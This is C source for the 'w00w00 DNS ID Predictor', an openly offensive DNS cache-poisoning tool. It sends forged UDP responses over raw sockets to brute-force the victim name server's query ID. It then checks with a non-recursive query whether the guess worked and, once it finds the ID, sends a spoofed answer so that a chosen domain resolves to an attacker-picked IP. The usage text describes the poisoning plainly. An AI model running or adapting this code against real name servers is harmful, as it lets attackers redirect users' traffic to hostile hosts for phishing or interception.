/* ******************************************************* */
/*  w00w00 DNS ID Predictor                      Super Raw */
/* ------------------------------------------------------- */
/* Email: w00w00@janova.org or WSD@janova.org              */
/* Sites: http://www.janova.org, ftp://ftp.janova.org/pub  */
/* ******************************************************* */

#include <fcntl.h>
#include "dns.h"
#include "WSD-spoof.c"
#include "WSD-DNS2.c"

#define  ERROR      -1
#define  DNSHDRSIZE 12
#define  TIMEOUT    300
#define  VERSION    "v0.7"
#define  SPOOFIP    "4.4.4.4"
#define  UNDASPOOF  "111.111.111.111"
#define  LEN        sizeof(struct sockaddr)


void usage()
{
  printf("w00w00 DNS ID Predictor\n");
  printf("w00w00 Security Development (WSD)\n");
  printf("w00w00@janova.org or WSD@janova.org\n");

  printf(" WSD-idpred <your ip> <dns trust> <domaine trust> <ip victim> <TYPE> <spoof name> <spoof ip> <ns.trust.for.the.spoof> [ID] \n"); 
  printf("\n Ex: WSD-idpred ppp.evil.com ns1.victim.com provnet.fr ns.victim.com 1 mouhhahahaha.hol.fr 31.3.3.7 ns.isdnet.net [ID] \n");
  printf(" We are going to poison ns.victim.com so they resolve mouhhahaha.hol.fr in 31.3.3.7\n");
  printf(" We use provnet.fr and ns1.provnet for finding the ID of ns.victim.com\n");
  printf(" We use ns.isdnet.net for spoofing because they have AUTH on *.hol.fr\n");
  printf(" For more information check ftp.janova.org/pub/DNS/\n");
  printf(" Mail w00w00@janova.org or WSD@janova.org.\n");

  exit(ERROR); 
}  

void senddnspkt(s, d_ip, wwwname, ip, dns)
  int s;
  u_long d_ip;
  char *wwwname;
  char *ip;
  struct dnshdr *dns;
{
  int i;
  
  char buffer[1024];
  char *data = (char *)(buffer+DNSHDRSIZE);
 
  struct sockaddr_in sin;
 
  bzero(buffer, sizeof(buffer));
  memcpy(buffer, dns, DNSHDRSIZE);

  if (dns->qr == 0) {
     i = makepacketQS(data, wwwname, TYPE_A);
     sin.sin_family = AF_INET;
     sin.sin_port   = htons(53);
     sin.sin_addr.s_addr = d_ip;
     sendto(s, buffer, DNSHDRSIZE+i, 0, (struct sockaddr *)&sin, LEN);
  } else {
     i = makepacketAW(data, wwwname, ip, TYPE_A);
     sin.sin_family = AF_INET;
     sin.sin_port   = htons(53);
     sin.sin_addr.s_addr = d_ip;
     sendto(s, buffer, DNSHDRSIZE+i, 0, (struct sockaddr *)&sin, LEN);
  }

}
                    
void dns_qs_no_rd(s, d_ip, wwwname, ID)
  int s;
  u_long d_ip;
  char *wwwname;
  int ID;
{
  int i;

  char *data;
  char buffer[1024];

  struct dnshdr *dns;

  dns  = (struct dnshdr *)buffer;
  data = (char *)(buffer+DNSHDRSIZE);

  bzero(buffer, sizeof(buffer));

  dns->id      = htons(ID);
  dns->qr      = 0;
  dns->rd      = 0; /* dont want the recursion !! */
  dns->aa      = 0;
  dns->que_num = htons(1);
  dns->rep_num = htons(0);
 
  i = makepacketQS(data, wwwname, TYPE_A);
  senddnspkt(s, d_ip, wwwname, NULL, dns);
}
                                  
void main(int argc, char **argv)
{
  struct sockaddr_in sin_rcp;
  struct dnshdr *dns, *dns_recv;

  int len = sizeof(struct sockaddr);
  int sraw, s_r, i, on = 1, x, ID, times;

  char *alacon;
  char host[256];
  char dnstrust[256];
  char *data, *data2;
  char buf[4000], buf1[4000];
  char spoofname[256], spoofip[256];

  unsigned char fakename[256];
  unsigned char names[256];    
  unsigned long s_ip,  s_ip2;
  unsigned long d_ip,  d_ip2, trust;
  unsigned int  DA_ID = 65535, loop = 65535;                      
 

  dns_recv = (struct dnshdr *)(buf1);
  data2    = (char *)(buf1+DNSHDRSIZE);
  dns      = (struct dnshdr *)buf;
  data     = (char *)(buf+DNSHDRSIZE);
 
  bzero(buf, sizeof(buf));
  srand(time(NULL));
        
  printf("w00w00 DNS ID Predictor\n");
  printf("w00w00 Security Development (WSD)\n");
  printf("w00w00@janova.org or WSD@janova.org\n");

  s_r = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if (s_r == ERROR) {
     perror("socket");
     exit(ERROR);
  }  

  if ((fcntl(s_r, F_SETFL, O_NONBLOCK)) == ERROR) {
     perror("fcntl");
     exit(ERROR);
  }      
         
  sraw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (sraw == ERROR) {
     perror("socket");
     exit(ERROR);
  }
    
  if ((setsockopt(sraw, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))
	== ERROR)) {
     perror("setsockopt");
     exit(ERROR);
  }
 
  if (argc < 2) usage();
  if (argc > 9) DA_ID = loop = atoi(argv[9]);  
  if (argc > 6) {
     if (strlen(argv[6]) > sizeof(spoofname) - 1) {
        fprintf(stderr, "argv[6] too long: %s\n", argv[6]);
        exit(ERROR);
     } else 
        strcpy(spoofname, argv[6]);
  } else {
     printf("Enter the name you want spoof: ");
     scanf("%255s", spoofname);
  }

  if (argc > 7) strncpy (host, argv[7], sizeof(host));
  else {
     printf("Enter the IP address of the spoof name: ");
     scanf("%255s", host);
  }
  
  alacon = (char *)inet_ntoa(host2ip(host));
  strcpy(spoofip, alacon);
    
  if (argc > 8) {
     if (strlen(argv[8]) > sizeof(host) - 1) {
	fprintf(stderr, "argv[8] too long: %s\n", argv[8]);
        exit(ERROR);
     } else
        strcpy(host, argv[8]);
  } else {
     printf("Enter the trusted NS of the victim: ");
     scanf("%255s", host);
  }
  
  alacon = (char *)inet_ntoa(host2ip(host));
  strcpy(dnstrust, alacon);
                       
  printf("WSD-IDpred %s w00w00 (WSD) - Super Raw\n", VERSION); 

  /* save some arguments */ 
  s_ip2 = host2ip(argv[1]);
  trust = host2ip(argv[2]);
  s_ip  = host2ip(UNDASPOOF);
  d_ip2 = d_ip = host2ip(argv[4]);

  if (strlen(argv[3]) > sizeof(fakename) - 1) {
     fprintf(stderr, "argv[3] too long: %s\n", argv[3]);
     exit(ERROR);
  }

  while(1) {      
     sprintf(fakename, "%d%d%d%d%d%d.%s", myrand(), myrand(), myrand(),
             myrand(), myrand(), myrand(), argv[3]);

     sendquestion(s_ip, d_ip, fakename, TYPE_A);
             
     /* end of question packet */
     bzero(buf,   sizeof(buf)); /* re-init some variable */
     bzero(names, sizeof(names)); 

     i = 0, x = 0;

    /* Here we start the spoof anwser */
    ID = loop;
    for (; loop >= ID-10; loop--) {
       dns->id = htons(loop);
       dns->qr = 1;
       dns->rd = 1;
       dns->aa = 1;
       dns->que_num = htons(1);
       dns->rep_num = htons(1);
                                                 
       i = makepacketAW(data, fakename, SPOOFIP, TYPE_A);
       udp_send(sraw, trust, d_ip2, 53, 53, buf, DNSHDRSIZE+i);
    }
 
    bzero(buf,   sizeof(buf)); /* re-init some variable */
    bzero(names, sizeof(names));
    i = 0, x = 0;
             
    /* Time for the test spoof */

    /* Here we sending question, nonrecursive */
    dns_qs_no_rd(s_r, d_ip2, fakename, myrand()); 
     
    /* We are waiting for answer ... */
    while (1) {    
       for (times = 0; times < TIMEOUT; times++) {
          if (recvfrom(s_r, buf1, sizeof(buf1), 0,
                   (struct sockaddr *)&sin_rcp,&len) != ERROR) {
             printf("We have the response.\n");
             times = 0;
             break;
          }

          usleep(10);
          times++;
       }

       if (times != 0) {
          printf("We have no response from the NS. Resend question..\n");
          dns_qs_no_rd(s_r, d_ip2, fakename, myrand());
       } else break;
    }
 
    /* Okay we have an answer */
    printf("fakename = %s\n", fakename);

    if (sin_rcp.sin_addr.s_addr == d_ip2)
       if (sin_rcp.sin_port == htons(53))
          if (dns_recv->qr == 1) {
             if (dns_recv->rep_num == 0) /* We dont have the right ID */
                printf("Try %d < ID < %d\n", ID-10, ID);
         
             else {
                /* The spoof has worked, we have found the right ID! */
                printf("the DNS ID of %s is %d < ID < %d!!\n",
                        argv[4], loop-10, loop);

                printf("Let's send the spoof...\n");
                dnsspoof(dnstrust, argv[4], spoofname, spoofip, loop,
                         atoi(argv[5]));          
                printf("spoof sent...\n");

                exit(0);
             }                  
          }

    bzero(buf1, sizeof(buf1));    
           
    } 

}
